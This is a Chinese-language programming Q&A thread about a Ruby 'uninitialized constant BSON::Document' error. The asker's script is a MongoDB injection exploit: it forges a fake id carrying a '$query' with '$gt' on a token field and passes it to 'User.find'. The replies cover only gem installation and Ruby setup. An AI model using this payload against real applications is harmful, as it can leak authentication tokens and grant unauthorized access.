【问题标题】:uninitialized constant BSON::Document未初始化的常量 BSON::Document
【发布时间】:2016-11-10 09:30:27
【问题描述】:

我正在尝试在 ubuntu 14.04 上执行 ruby​​ 代码,但在执行时出现错误,

'':未初始化的常量 BSON::Document (NameError)

代码是,

#!/usr/bin/ruby
require 'uri'
require 'bson'
require 'mongo'
b = BSON::Document.new
b["$query"] = {"token" => {"$gt"=>""}}

payload = b.to_bson[4..-2]
id_ish = ("\n\n" + "a"*24 + "\n\n")

fake_id = "a"*24 +
  "\x02_id\0".unpack('H*')[0] +
  [id_ish.size/2 + 1].pack('V').unpack('H*')[0] + id_ish + "00" +
  payload.unpack('H*')[0]

puts URI.encode(fake_id)

User.find fake_id

我已经浏览了文档, BSON Tutorial

知道我在这里缺少什么。任何指针将不胜感激。

【问题讨论】:

    标签: ruby mongodb exploit


    【解决方案1】:

    看起来您正试图“在真空中”执行此代码。

    require 方法将静默返回false,除非成功。此外,要执行代码,您需要安装相应的 gem。首先,运行

    $ gem install bson
    $ gem install mongo
    

    在你的外壳中。现在用你的脚本重试。上面的宝石应该使一切正常。如果没有,则需要设置 ruby​​ 环境,这方面的教程很多。​​

    系统/本地 ruby​​ 也可能存在问题(hashbang 行指示执行系统之一。)尝试删除此行并运行脚本

    $ ruby script_name.rb
    

    【讨论】:

    • 我已经安装了上面提到的包,这里是 gem 查询 --local *** LOCAL GEMS *** bson (4.1.1) mongo (2.3.1) 我会试试你的下一个配置 ruby​​ 环境的选项。
    • 等等。也许问题出在系统/本地红宝石上。尝试从脚本中删除 hashbang 行(第一行)并使用ruby FILE_NAME.rb 执行它。
    • 删除 hashbang 也无济于事。请问如何检查ruby环境是否配置正确?我正在关注digitalocean.com/community/tutorials/… 和此 uri 中提到的其他链接。
    • 我已经通过使用源代码安装最新版本的 ruby​​ 解决了这个问题。解决该问题后出现另一个错误,
      ': undefined method `unpack' for #<:bytebuffer:0x007f9625c6fcd8> (NoMethodError) 但是 unpack 方法在 irb shell 上运行良好。有什么线索吗?
    猜你喜欢
    • 1970-01-01
    • 2013-02-16
    • 1970-01-01
    • 2011-12-26
    • 2014-06-13
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多